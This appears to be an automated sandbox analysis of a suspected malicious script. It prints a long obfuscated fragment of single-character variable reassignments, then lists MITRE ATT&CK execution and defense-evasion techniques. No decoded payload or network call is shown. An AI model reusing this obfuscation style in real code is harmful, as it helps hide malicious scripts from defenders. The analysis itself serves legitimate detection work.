222	nboldprnb = "D";
223	nboldprnb = "b";
224	nboldprnb = "J";
225	nboldprnb = "w";
226	nboldprnb = "V";
227	nboldprnb = "E";
228	nboldprnb = "e";
229	nboldprnb = "a";
230	nboldprnb = "M";
231	nboldprnb = "w";
232	mvxqi = "L";
233	mvxqi = "w";
234	mvxqi = "Y";
235	mvxqi = "j";
236	mvxqi = "Y";
237	mvxqi = "L";
238	mvxqi = "J";
239	mvxqi = "N";
240	mvxqi = "B";
241	mvxqi = "z";
242	mvxqi = "b";
243	mvxqi = "4";
244	jtrgyay = "i";
245	jtrgyay = "D";
246	jtrgyay = "x";
247	jtrgyay = "D";
248	jtrgyay = "P";
249	jtrgyay = "d";
250	jtrgyay = "w";
251	jtrgyay = "U";
252	jtrgyay = "c";
253	jtrgyay = "L";
254	jtrgyay = "r";
255	jtrgyay = "z";
256	jtrgyay = "q";
257	jtrgyay = "X";
258	jtrgyay = "r";
259	jtrgyay = "x";
260	jtrgyay = "E";
261	jtrgyay = "X";
262	jtrgyay = "v";
263	jtrgyay = "R";
264	jtrgyay = "e";
265	jtrgyay = "A";
266	jtrgyay = "f";
267	jtrgyay = "A";
268	jtrgyay = "W";
269	jtrgyay = "n";
270	jtrgyay = "O";
271	jtrgyay = "E";
272	jtrgyay = "M";
273	jtrgyay = "m";
274	jtrgyay = "a";
275	jtrgyay = "t";
276	jtrgyay = "b";
277	jtrgyay = "N";
278	jtrgyay = "M";
279	jtrgyay = "r";
280	jtrgyay = "c";
281	jtrgyay = "I";
282	jtrgyay = "e";
283	jtrgyay = "L";
284	jtrgyay = "b";
285	jtrgyay = "O";
286	jtrgyay = "w";
287	jtrgyay = "O";
288	jtrgyay = "/";
289	gzoxsd = "O";
290	gzoxsd = "K";
291	gzoxsd = "v";
292	gzoxsd = "H";
293	gzoxsd = "r";
294	gzoxsd = "P";
295	gzoxsd = "z";
296	gzoxsd = "R";
297	gzoxsd = "E";
298	gzoxsd = "o";
299	gzoxsd = "t";
300	gzoxsd = "Z";
301	gzoxsd = "o";
302	gzoxsd = "k";
303	gzoxsd = "t";
304	gzoxsd = "o";
305	gzoxsd = "V";
306	gzoxsd = "M";
307	gzoxsd = "o";
308	gzoxsd = "T";
309	gzoxsd = "s";
310	gzoxsd = "Z";
311	gzoxsd = "j";
312	gzoxsd = "V";
313	gzoxsd = "O";
314	gzoxsd = "g";
315	gzoxsd = "Z";
316	gzoxsd = "S";
317	wgumgrmwj = "b";
318	wgumgrmwj = "E";
319	wgumgrmwj = "A";
320	wgumgrmwj = "w";
321	wgumgrmwj = "U";
322	wgumgrmwj = "e";
323	wgumgrmwj = "L";
324	wgumgrmwj = "N";
325	wgumgrmwj = "h";
326	wgumgrmwj = "\"";
327	artazgmt = "W";
328	artazgmt = "K";
329	artazgmt = "n";
330	artazgmt = "n";
331	artazgmt = "a";
332	artazgmt = "L";
333	artazgmt = "R";
334	artazgmt = "N";
335	artazgmt = "m";
336	artazgmt = "N";
337	artazgmt = "b";
338	artazgmt = "m";
339	artazgmt = "e";
340	artazgmt = "V";
341	artazgmt = "c";
342	pobwhefw = "j";
343	pobwhefw = "B";
344	pobwhefw = "S";
345	pobwhefw = "D";
346	pobwhefw = "j";
347	pobwhefw = "Q";
348	pobwhefw = "s";
349	pobwhefw = "m";
350	pobwhefw = "Q";
351	pobwhefw = "W";
352	pobwhefw = "M";
353	pobwhefw = "F";
354	pobwhefw = "K";
355	pobwhefw = "V";
356	pobwhefw = "6";
357	blqexo = "V";
358	blqexo = "f";
359	blqexo = "g";
360	blqexo = "U";
361	blqexo = "x";
362	blqexo = "S";
363	blqexo = "j";
364	blqexo = "q";
365	blqexo = "W";
366	blqexo = "w";
367	blqexo = "t";
368	blqexo = "h";
369	blqexo = "b";
370	blqexo = "e";
371	blqexo = "z";
372	blqexo = "D";
373	blqexo = "k";
374	blqexo = "I";
375	blqexo = "t";
376	blqexo = "I";
377	blqexo = "L";
378	blqexo = "I";
379	blqexo = "c";
380	blqexo = "O";
381	blqexo = "r";
382	blqexo = "h";
383	blqexo = "U";
384	blqexo = "k";
385	blqexo = "P";
386	blqexo = "g";
387	blqexo = "c";
388	blqexo = "q";
389	blqexo = "f";
390	blqexo = "T";
391	blqexo = "O";
392	blqexo = "d";
393	blqexo = "A";
394	blqexo = "&";
395	wlxqgol = "k";
396	wlxqgol = "w";
397	wlxqgol = "o";
398	wlxqgol = "G";
399	wlxqgol = "e";
400	wlxqgol = "D";
401	wlxqgol = "J";
402	wlxqgol = "w";
403	wlxqgol = "k";
404	wlxqgol = "h";
405	wlxqgol = "i";
406	wlxqgol = "m";
407	wlxqgol = "S";
408	wlxqgol = "T";
409	wlxqgol = "w";
410	wlxqgol = "h";
411	wlxqgol = "u";
412	wlxqgol = "p";
413	fkebqy = "T";
414	fkebqy = "e";
415	fkebqy = "L";
416	fkebqy = "q";
417	fkebqy = "X";
418	fkebqy = "M";
419	fkebqy = "W";
420	fkebqy = "X";
421	fkebqy = "r";
422	fkebqy = "N";
423	fkebqy = "R";
424	fkebqy = "a";
425	fkebqy = "e";
426	fkebqy = "T";
427	fkebqy = " ";
428	maksszu = "P";
429	maksszu = "Z";
430	maksszu = "h";
431	maksszu = "q";
432	maksszu = "g";
433	maksszu = "x";
434	maksszu = "v";
435	maksszu = "Z";
436	maksszu = "V";
437	maksszu = "j";
438	maksszu = "u";
439	maksszu = "W";
440	maksszu = "l";
441	maksszu = "J";
442	maksszu = "v";
443	maksszu = "0";
444	ihzmp = "k";
445	ihzmp = "e";
446	ihzmp = "i";
447	ihzmp = "w";
448	ihzmp = "E";
449	ihzmp = "d";
450	ihzmp = "L";
451	ihzmp = "F";
452	ihzmp = "c";
453	ihzmp = "L";
454	ihzmp = "J";
455	ihzmp = "a";
456	nhycly = "P";
457	qaucz = "J";
458	qaucz = "L";
459	qaucz = "q";
460	qaucz = "V";
461	qaucz = "q";
462	qaucz = "e";
463	qaucz = "M";
464	qaucz = "K";
465	qaucz = "k";
466	qaucz = "x";
467	qaucz = "y";
468	qaucz = "d";
469	qaucz = "j";
470	qaucz = "H";
471	qaucz = "t";
472	qaucz = "N";
473	qaucz = "Q";
474	qaucz = "P";
475	qaucz = "x";
476	qaucz = "Q";
477	qaucz = "x";
478	qaucz = "O";
479	qaucz = "O";
480	qaucz = "v";
481	qaucz = ".";
482	saksnxdw = "U";
483	saksnxdw = "n";
484	saksnxdw = "V";
485	saksnxdw = "w";
486	saksnxdw = "f";
487	usgqzn = "j";
488	usgqzn = "j";
489	usgqzn = "i";
490	usgqzn = "b";
491	usgqzn = "T";
492	usgqzn = "y";
493	usgqzn = "A";
494	usgqzn = "d";
495	usgqzn = "r";
496	usgqzn = "l";
497	usgqzn = "x";
498	usgqzn = "n";
499	usgqzn = "K";
500	usgqzn = "w";
501	usgqzn = "m";
502	usgqzn = "e";
503	usgqzn = "R";
504	usgqzn = "m";
505	usgqzn = "g";
506	usgqzn = "N";
507	usgqzn = "S";
508	usgqzn = "v";
509	usgqzn = "x";
510	usgqzn = "g";
511	usgqzn = "i";
512	usgqzn = "k";
513	cvdqgisl = "V";
514	cvdqgisl = "B";
515	cvdqgisl = "E";
516	cvdqgisl = "D";
517	cvdqgisl = "G";
518	cvdqgisl = "U";
519	cvdqgisl = "e";
520	cvdqgisl = "i";
521	cvdqgisl = "T";
522	cvdqgisl = "d";
523	cvdqgisl = "W";
524	cvdqgisl = "v";
525	cvdqgisl = "Q";
526	cvdqgisl = "q";
527	cvdqgisl = "u";
528	cvdqgisl = "J";
529	cvdqgisl = "S";
530	cvdqgisl = "g";
531	cvdqgisl = "m";
532	cvdqgisl = "V";
533	cvdqgisl = "c";
534	cvdqgisl = "V";
535	cvdqgisl = "C";
536	cvdqgisl = "N";
537	cvdqgisl = "t";
538	cvdqgisl = "p";
539	cvdqgisl = "x";
540	cvdqgisl = "I";
541	cvdqgisl = "O";
542	cvdqgisl = "V";
543	cvdqgisl = "M";
544	cvdqgisl = "K";
545	cvdqgisl = "l";
546	cvdqgisl = "W";
547	cvdqgisl = "I";
548	cvdqgisl = "Q";
549	cvdqgisl = "-";
550	dozkg = "E";
551	dozkg = "c";
552	dozkg = "A";
553	dozkg = "j";
554	dozkg = "V";
555	dozkg = "u";
556	dozkg = "S";
557	dozkg = "O";
558	dozkg = "D";
559	dozkg = "a";
560	dozkg = "X";
561	dozkg = "L";
562	dozkg = "x";
563	dozkg = "L";
564	dozkg = "h";
565	dozkg = "V";
566	dozkg = "F";
567	dozkg = "K";
568	dozkg = "z";
569	dozkg = "M";
570	dozkg = "2";
571	inifsavq = "y";
572	inifsavq = "T";
573	ijktz = "r";
574	ijktz = "n";
575	ijktz = "i";
576	ijktz = "O";
577	ijktz = "R";
578	ijktz = "g";
579	ijktz = "y";
580	ijktz = "d";
581	ijktz = "m";
582	ijktz = "D";
583	ijktz = "G";
584	ijktz = "H";
585	ijktz = "i";
586	ijktz = "n";
587	ijktz = "U";
588	ijktz = "n";
589	ijktz = "W";
590	ijktz = "_";
591	nmrcepn = "F";
592	nmrcepn = "c";
593	nmrcepn = "y";
594	nmrcepn = "o";
595	uqcoadto = "E";
596	uqcoadto = "t";
597	uqcoadto = "T";
598	uqcoadto = "P";
599	uqcoadto = "c";
600	uqcoadto = "U";
601	uqcoadto = "H";
602	uqcoadto = "l";
603	uqcoadto = "N";
604	uqcoadto = "C";
605	uqcoadto = "z";
606	uqcoadto = "t";
607	uqcoadto = "T";
608	uqcoadto = "u";
609	uqcoadto = "S";
610	uqcoadto = "Q";
611	uqcoadto = "W";
612	uqcoadto = "e";
613	uqcoadto = "V";
614	uqcoadto = "v";
615	uqcoadto = "S";
616	uqcoadto = "b";
617	uqcoadto = "s";
618	qzgyfdtj = "V";
619	qzgyfdtj = "D";
620	qzgyfdtj = "V";
621	qzgyfdtj = "z";
622	qzgyfdtj = "s";
623	qzgyfdtj = "Y";
624	qzgyfdtj = "b";
625	qzgyfdtj = "j";
626	qzgyfdtj = "a";
627	qzgyfdtj = "w";
628	qzgyfdtj = "R";
629	qzgyfdtj = "u";
630	mujqguxjw = "F";
631	mujqguxjw = "U";
632	mujqguxjw = "G";
633	mujqguxjw = "G";
634	mujqguxjw = "D";
635	mujqguxjw = "G";
636	mujqguxjw = "R";
637	mujqguxjw = "O";
638	mujqguxjw = "r";
639	mujqguxjw = "O";
640	mujqguxjw = "Y";
641	mujqguxjw = "e";
642	mujqguxjw = "S";
643	mujqguxjw = "Y";
644	mujqguxjw = "D";
645	mujqguxjw = "L";
646	mujqguxjw = "y";
647	mujqguxjw = "W";
648	mujqguxjw = "c";
649	mujqguxjw = "L";
650	mujqguxjw = "N";
651	mujqguxjw = "3";
652	bjekfssyo = "T";
653	bjekfssyo = "D";
654	bjekfssyo = "j";
655	bjekfssyo = "S";
656	bjekfssyo = "u";
657	bjekfssyo = "Q";
658	bjekfssyo = "V";
659	bjekfssyo = "c";
660	bjekfssyo = "Y";
661	bjekfssyo = "B";
662	bjekfssyo = "Z";
663	bjekfssyo = "V";
664	bjekfssyo = "x";
665	bjekfssyo = "H";
666	bjekfssyo = "X";
667	bjekfssyo = "Q";
668	bjekfssyo = "q";
669	bjekfssyo = "a";
670	bjekfssyo = "Z";
671	bjekfssyo = "K";
672	bjekfssyo = "k";
673	bjekfssyo = "C";
674	bjekfssyo = "W";
675	bjekfssyo = "S";
676	bjekfssyo = "G";
677	bjekfssyo = "f";
678	bjekfssyo = "G";
679	bjekfssyo = "H";
680	ojpbevs = "C";
681	ojpbevs = "f";
682	ojpbevs = "A";
683	ojpbevs = "z";
684	ojpbevs = "I";
685	ojpbevs = "r";
686	ojpbevs = "E";
687	ojpbevs = "N";
688	ojpbevs = "s";
689	ojpbevs = "e";
690	ojpbevs = "a";
691	ojpbevs = "l";
692	ojpbevs = "S";
693	ojpbevs = "G";
694	ojpbevs = "r";
695	ojpbevs = "e";
696	ojpbevs = "n";
697	ojpbevs = "u";
698	ojpbevs = "C";
699	ojpbevs = "f";
700	ojpbevs = "x";
701	ojpbevs = "l";
702	ojpbevs = "F";
703	ojpbevs = "w";
704	ojpbevs = "c";
705	ojpbevs = "A";
706	ojpbevs = "U";
707	ojpbevs = "i";
708	ojpbevs = "b";
709	ojpbevs = "H";
710	ojpbevs = "h";
711	ojpbevs = "k";
712	ojpbevs = "v";
713	ojpbevs = "g";
714	ojpbevs = "x";
715	ojpbevs = "V";
716	ojpbevs = "W";
717	ljzjqxpb = "L";
718	ljzjqxpb = "J";
719	ljzjqxpb = "u";
720	ljzjqxpb = "g";
721	ljzjqxpb = "C";
722	ljzjqxpb = "p";
723	ljzjqxpb = "N";
724	ljzjqxpb = "Q";
725	ljzjqxpb = "Y";
726	ljzjqxpb = "M";
727	ljzjqxpb = "t";
728	ljzjqxpb = "p";
729	ljzjqxpb = "a";
730	ljzjqxpb = "N";
731	ljzjqxpb = "r";
732	ljzjqxpb = "p";
733	ljzjqxpb = "u";
734	ljzjqxpb = "w";
735	ljzjqxpb = "Q";
736	ljzjqxpb = "F";
737	xuujr = "n";
738	xuujr = "t";
739	xuujr = "P";
740	xuujr = "A";
741	xuujr = "j";
742	xuujr = "N";
743	xuujr = "M";
744	xuujr = "w";
745	xuujr = "M";
746	xuujr = "o";
747	xuujr = "n";
748	xuujr = "d";
749	xuujr = "n";
750	xuujr = "O";
751	xuujr = "v";
752	xuujr = "P";
753	xuujr = "I";
754	xuujr = "V";
755	xuujr = "n";
756	xuujr = "b";
757	xuujr = "b";
758	xuujr = "C";
759	xuujr = "u";
760	xuujr = "q";
761	xuujr = "D";
762	xuujr = "q";
763	xuujr = "A";
764	xuujr = "R";
765	xuujr = "Y";
766	xuujr = "G";
767	xuujr = "s";
768	xuujr = "i";
769	xuujr = "Y";
770	xuujr = "R";
771	xuujr = "n";
772	xvrxpqoih = "S";
773	xvrxpqoih = "g";
774	xvrxpqoih = "o";
775	xvrxpqoih = "x";
776	xvrxpqoih = "J";
777	xvrxpqoih = "o";
778	xvrxpqoih = "G";
779	xvrxpqoih = "b";
780	xvrxpqoih = "N";
781	xvrxpqoih = "D";
782	xvrxpqoih = "k";
783	xvrxpqoih = "Q";
784	xvrxpqoih = "t";
785	xvrxpqoih = "S";
786	xvrxpqoih = "d";
787	xvrxpqoih = "L";
788	xvrxpqoih = "M";
789	xvrxpqoih = "H";
790	xvrxpqoih = "S";
791	xvrxpqoih = "j";
792	hjgcacezs = "\\";
793	zdssqcc = "i";
794	zdssqcc = "c";
795	zdssqcc = "a";
796	zdssqcc = "n";
797	zdssqcc = "i";
798	zdssqcc = "M";
799	zdssqcc = "J";
800	zdssqcc = "h";
801	zdssqcc = "b";
802	zdssqcc = "k";
803	zdssqcc = "h";
804	zdssqcc = "I";
805	zdssqcc = "s";
806	zdssqcc = "l";
807	rwwaguy = "R";
808	rwwaguy = "l";
809	rwwaguy = "F";
810	rwwaguy = "K";
811	rwwaguy = "V";
812	rwwaguy = "q";
813	rwwaguy = "g";
814	rwwaguy = "n";
815	rwwaguy = "c";
816	rwwaguy = "l";
817	rwwaguy = "Z";
818	rwwaguy = "Q";
819	mwlowclpz = "t";
820	mwlowclpz = "D";
821	mwlowclpz = "F";
822	mwlowclpz = "G";
823	mwlowclpz = "m";
824	mwlowclpz = "t";
825	mwlowclpz = "i";
826	mwlowclpz = "V";
827	mwlowclpz = "I";
828	mwlowclpz = "l";
829	mwlowclpz = "v";
830	mwlowclpz = "M";
831	mwlowclpz = "q";
832	mwlowclpz = "R";
833	mwlowclpz = "a";
834	mwlowclpz = "F";
835	mwlowclpz = "F";
836	mwlowclpz = "x";
837	mwlowclpz = "o";
838	mwlowclpz = "n";
839	mwlowclpz = "L";
840	mwlowclpz = "F";
841	mwlowclpz = "z";
842	mwlowclpz = "L";
843	rqbdtctt = "H";
844	rqbdtctt = "b";
845	rqbdtctt = "r";
846	rqbdtctt = "Z";
847	rqbdtctt = "q";
848	rqbdtctt = "P";
849	rqbdtctt = "Q";
850	rqbdtctt = "V";
851	rqbdtctt = "Q";
852	rqbdtctt = "t";
853	rqbdtctt = "M";
854	rqbdtctt = "K";
855	rqbdtctt = "Y";
856	rqbdtctt = "q";
857	rqbdtctt = "V";
858	rqbdtctt = "E";
859	rqbdtctt = "k";
860	rqbdtctt = "o";
861	rqbdtctt = "a";
862	rqbdtctt = "d";
863	rqbdtctt = "q";
864	rqbdtctt = "P";
865	rqbdtctt = "z";
866	rqbdtctt = "w";
867	rqbdtctt = "M";
868	rqbdtctt = "W";
869	rqbdtctt = "H";
870	rqbdtctt = "w";
871	rqbdtctt = "X";
872	rqbdtctt = "p";
873	rqbdtctt = "P";
874	rqbdtctt = "t";
875	rqbdtctt = "I";
876	rqbdtctt = "r";
877	rqbdtctt = "R";
878	rqbdtctt = "X";
879	rqbdtctt = "w";
880	rqbdtctt = "N";
881	rqbdtctt = "8";
882	soner = "s";
883	soner = "J";
884	soner = "l";
885	soner = "s";
886	soner = "k";
887	soner = "M";
888	soner = "M";
889	soner = "V";
890	soner = "X";
891	soner = "f";
892	soner = "X";
893	soner = "G";
894	soner = "T";
895	soner = "e";
896	soner = "P";
897	soner = "x";
898	soner = "x";
899	soner = "w";
900	soner = "g";
901	soner = "j";
902	soner = "O";
903	soner = "G";
904	soner = "U";
905	soner = "X";
906	soner = "D";
907	soner = "I";
908	soner = "s";
909	soner = "I";
910	soner = "g";
911	soner = "Z";
912	soner = "U";
913	soner = "F";
914	soner = "K";
915	soner = "K";
916	soner = "Y";
917	soner = "j";
918	soner = "w";
919	soner = "z";
920	soner = "C";
921	nwuhyvebd = "y";
922	nwuhyvebd = "O";
923	nwuhyvebd = "Y";
924	nwuhyvebd = "q";
925	nwuhyvebd = "l";
926	nwuhyvebd = "a";
927	nwuhyvebd = "Y";
928	nwuhyvebd = "s";
929	nwuhyvebd = "j";
930	nwuhyvebd = "e";
931	htmderbb = "E";
932	htmderbb = "W";
933	htmderbb = "H";
934	htmderbb = "z";
935	htmderbb = "d";
936	htmderbb = "L";
937	htmderbb = "U";
938	htmderbb = "R";
939	htmderbb = "w";
940	htmderbb = "I";
941	htmderbb = "y";
942	htmderbb = "c";
943	htmderbb = "p";
944	htmderbb = "s";
945	htmderbb = "J";
946	htmderbb = "P";
947	htmderbb = "j";
948	htmderbb = "V";
949	htmderbb = "j";
950	htmderbb = "x";
951	htmderbb = "Y";
952	htmderbb = "Q";
953	htmderbb = "x";
954	htmderbb = "U";
955	htmderbb = "n";
956	htmderbb = "Z";
957	htmderbb = "K";
958	wzvopbfnx = "X";
959	wzvopbfnx = "v";
960	wzvopbfnx = "t";
961	wzvopbfnx = "l";
962	wzvopbfnx = "n";
963	wzvopbfnx = "J";
964	wzvopbfnx = "c";
965	wzvopbfnx = "G";
966	wzvopbfnx = "L";
967	wzvopbfnx = "P";
968	wzvopbfnx = "o";
969	wzvopbfnx = "v";
970	ggxdbjax = "N";
971	ggxdbjax = "Z";
972	ggxdbjax = "y";
973	ggxdbjax = "G";
974	ggxdbjax = "f";
975	ggxdbjax = "Z";
976	ggxdbjax = "i";
977	ggxdbjax = "o";
978	ggxdbjax = "F";
979	ggxdbjax = "O";
980	ggxdbjax = "D";
981	ggxdbjax = "d";
982	ggxdbjax = "F";
983	ggxdbjax = "z";
984	ggxdbjax = "x";
985	ggxdbjax = "A";
986	ggxdbjax = "P";
987	ggxdbjax = "e";
988	ggxdbjax = "9";
989	norajhts = "Z";
990	norajhts = "r";
991	norajhts = "x";
992	norajhts = "L";
993	norajhts = "w";
994	norajhts = "g";
995	norajhts = "j";
996	norajhts = "D";
997	norajhts = "i";
998	norajhts = "E";
999	norajhts = "V";
1000	norajhts = "t";
1001	norajhts = "H";
1002	norajhts = "H";
1003	norajhts = "I";
1004	norajhts = "M";
1005	norajhts = "A";
1006	norajhts = "a";
1007	norajhts = "P";
1008	norajhts = "s";
1009	norajhts = "U";
1010	norajhts = "G";
1011	norajhts = "N";
1012	norajhts = "c";
1013	norajhts = "l";
1014	norajhts = "b";
1015	norajhts = "F";
1016	norajhts = "C";
1017	norajhts = "j";
1018	norajhts = "L";
1019	norajhts = "H";
1020	norajhts = "X";
1021	norajhts = "M";
1022	norajhts = "H";
1023	norajhts = "K";
1024	norajhts = "I";
1025	norajhts = "e";
1026	norajhts = "f";
1027	norajhts = "E";
1028	norajhts = "w";
1029	norajhts = "5";
1030	aqhihd = "M";
1031	aqhihd = "G";
1032	aqhihd = "z";
1033	aqhihd = "R";
1034	aqhihd = "f";
1035	aqhihd = "s";
1036	aqhihd = "x";
1037	aqhihd = "l";
1038	aqhihd = "J";
1039	aqhihd = "I";
1040	aqhihd = "e";
1041	aqhihd = "K";
1042	aqhihd = "C";
1043	aqhihd = "U";
1044	aqhihd = "T";
1045	aqhihd = "s";
1046	aqhihd = "a";
1047	aqhihd = "e";
1048	aqhihd = "u";
1049	aqhihd = "c";
1050	aqhihd = "i";
1051	aqhihd = "L";
1052	aqhihd = "G";
1053	aqhihd = "d";
1054	aqhihd = "u";
1055	aqhihd = "b";
1056	aqhihd = "t";
1057	aqhihd = "y";
1058	aqhihd = "f";
1059	aqhihd = "n";
1060	aqhihd = "z";
1061	aqhihd = "m";
1062	aqhihd = "J";
1063	aqhihd = "e";
1064	aqhihd = "r";
1065	aqhihd = "A";
1066	aqhihd = "V";
1067	aqhihd = "v";
1068	aqhihd = "m";
1069	aqhihd = "h";
1070	aqhihd = "V";
1071	aqhihd = "D";
1072	aqhihd = "1";
1073	dvozlqlce = "l";
1074	dvozlqlce = "k";
1075	dvozlqlce = "j";
1076	dvozlqlce = "z";
1077	dvozlqlce = "y";
1078	dvozlqlce = "l";
1079	dvozlqlce = "e";
1080	dvozlqlce = "u";
1081	dvozlqlce = "V";
1082	dvozlqlce = "M";
1083	dvozlqlce = "x";
1084	dvozlqlce = "q";
1085	dvozlqlce = "K";
1086	dvozlqlce = "S";
1087	dvozlqlce = "t";
1088	dvozlqlce = "r";
1089	dvozlqlce = "e";
1090	dvozlqlce = "N";
1091	dvozlqlce = "X";
1092	dvozlqlce = ":";
1093	txjnd = "b";
1094	txjnd = "N";
1095	txjnd = "n";
1096	txjnd = "V";
1097	txjnd = "q";
1098	txjnd = "g";
1099	txjnd = "n";
1100	txjnd = "h";
1101	txjnd = "t";
1102	txjnd = "N";
1103	txjnd = "z";
1104	txjnd = "e";
1105	txjnd = "Z";
1106	txjnd = "O";
1107	zanvkv = "m";
1108	zanvkv = "E";
1109	zanvkv = "b";
1110	zanvkv = "n";
1111	zanvkv = "K";
1112	zanvkv = "T";
1113	zanvkv = "I";
1114	zanvkv = "x";
1115	zanvkv = "m";
1116	zanvkv = "V";
1117	zanvkv = "O";
1118	zanvkv = "P";
1119	zanvkv = "E";
1120	zanvkv = "h";
1121	zanvkv = "l";
1122	zanvkv = "A";
1123	zanvkv = "m";
1124	zanvkv = "y";
1125	zanvkv = "H";
1126	zanvkv = "t";
1127	zanvkv = "g";
1128	zanvkv = "D";
1129	zanvkv = "M";
1130	zanvkv = "f";
1131	zanvkv = "c";
1132	zanvkv = "b";
1133	zanvkv = "R";
1134	zanvkv = "G";
1135	zanvkv = "B";
1136	zanvkv = "X";
1137	zanvkv = "F";
1138	zanvkv = "H";
1139	zanvkv = "p";
1140	zanvkv = "f";
1141	zanvkv = "n";
1142	zanvkv = "Y";
1143	zanvkv = "b";
1144	zanvkv = "c";
1145	zanvkv = "V";
1146	zanvkv = "g";
1147	xddbdpso = "B";
1148	xddbdpso = "b";
1149	xddbdpso = "h";
1150	xddbdpso = "N";
1151	xddbdpso = "l";
1152	xddbdpso = "z";
1153	xddbdpso = "O";
1154	xddbdpso = "M";
1155	xddbdpso = "F";
1156	xddbdpso = "e";
1157	xddbdpso = "M";
1158	xddbdpso = "h";
1159	xddbdpso = "n";
1160	xddbdpso = "z";
1161	xddbdpso = "C";
1162	xddbdpso = "c";
1163	xddbdpso = "R";
1164	xddbdpso = "o";
1165	xddbdpso = "j";
1166	xddbdpso = "j";
1167	xddbdpso = "i";
1168	mkxxzxrn = "W";
1169	mkxxzxrn = "R";
1170	mkxxzxrn = "W";
1171	mkxxzxrn = "E";
1172	mkxxzxrn = "z";
1173	mkxxzxrn = "z";
1174	mkxxzxrn = "d";
1175	mkxxzxrn = "K";
1176	mkxxzxrn = "Y";
1177	mkxxzxrn = "A";
1178	mkxxzxrn = "b";
1179	mkxxzxrn = "W";
1180	mkxxzxrn = "h";
1181	zxnhg = "d";
1182	zxnhg = "M";
1183	zxnhg = "r";
1184	zxnhg = "f";
1185	zxnhg = "s";
1186	zxnhg = "D";
1187	zxnhg = "Q";
1188	zxnhg = "s";
1189	zxnhg = "E";
1190	zxnhg = "u";
1191	zxnhg = "Z";
1192	zxnhg = "K";
1193	zxnhg = "L";
1194	zxnhg = "R";
1195	zxnhg = "B";
1196	zxnhg = "I";
1197	zxnhg = "C";
1198	zxnhg = "I";
1199	zxnhg = "V";
1200	zxnhg = "x";
1201	zxnhg = "S";
1202	zxnhg = "w";
1203	zxnhg = "H";
1204	zxnhg = "Q";
1205	zxnhg = "u";
1206	zxnhg = "z";
1207	zxnhg = "h";
1208	zxnhg = "t";
1209	zxnhg = "i";
1210	zxnhg = "o";
1211	zxnhg = "g";
1212	zxnhg = "a";
1213	zxnhg = "G";
1214	zxnhg = "j";
1215	zxnhg = "G";
1216	zxnhg = "b";
1217	zxnhg = "h";
1218	zxnhg = "E";
1219	skczin = "f";
1220	skczin = "k";
1221	skczin = "f";
1222	skczin = "f";
1223	skczin = "Z";
1224	skczin = "K";
1225	skczin = "k";
1226	skczin = "m";
1227	npzmma = "A";
1228	npzmma = "O";
1229	npzmma = "y";
1230	npzmma = "C";
1231	npzmma = "w";
1232	npzmma = "s";
1233	npzmma = "V";
1234	npzmma = "k";
1235	npzmma = "U";
1236	npzmma = "M";
1237	npzmma = "p";
1238	npzmma = "E";
1239	npzmma = "u";
1240	npzmma = "S";
1241	npzmma = "O";
1242	npzmma = "Y";
1243	npzmma = "g";
1244	npzmma = "F";
1245	npzmma = "N";
1246	npzmma = "G";
1247	npzmma = "O";
1248	npzmma = "E";
1249	npzmma = "T";
1250	npzmma = "p";
1251	npzmma = "R";
1252	npzmma = "s";
1253	npzmma = "O";
1254	npzmma = "h";
1255	npzmma = "i";
1256	npzmma = "V";
1257	npzmma = "o";
1258	npzmma = "z";
1259	npzmma = "x";
1260	npzmma = "r";
1261	npzmma = "I";
1262	npzmma = "t";
1263	dxzbbn = "P";
1264	dxzbbn = "t";
1265	dxzbbn = "r";
1266	dxzbbn = "W";
1267	dxzbbn = "s";
1268	dxzbbn = "g";
1269	dxzbbn = "e";
1270	dxzbbn = "E";
1271	dxzbbn = "m";
1272	dxzbbn = "c";
1273	dxzbbn = "Y";
1274	dxzbbn = "Y";
1275	dxzbbn = "N";
1276	dxzbbn = "G";
1277	dxzbbn = "G";
1278	dxzbbn = "N";
1279	dxzbbn = "m";
1280	dxzbbn = "q";
1281	dxzbbn = "V";
1282	dxzbbn = "L";
1283	dxzbbn = "b";
1284	zvwqpvgbi = "H";
1285	zvwqpvgbi = "o";
1286	zvwqpvgbi = "e";
1287	zvwqpvgbi = "T";
1288	zvwqpvgbi = "C";
1289	zvwqpvgbi = "x";
1290	zvwqpvgbi = "c";
1291	zvwqpvgbi = "m";
1292	zvwqpvgbi = "S";
1293	zvwqpvgbi = "u";
1294	zvwqpvgbi = "V";
1295	zvwqpvgbi = "q";
1296	zvwqpvgbi = "v";
1297	zvwqpvgbi = "i";
1298	zvwqpvgbi = "a";
1299	zvwqpvgbi = "w";
1300	zvwqpvgbi = "S";
1301	zvwqpvgbi = "H";
1302	zvwqpvgbi = "P";
1303	zvwqpvgbi = "T";
1304	zvwqpvgbi = "j";
1305	zvwqpvgbi = "H";
1306	zvwqpvgbi = "s";
1307	zvwqpvgbi = "R";
1308	zvwqpvgbi = "S";
1309	zvwqpvgbi = "W";
1310	zvwqpvgbi = "n";
1311	zvwqpvgbi = "@";
1312	hcpbun = "%";
1313	sdqfi ( );	sdqfi() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

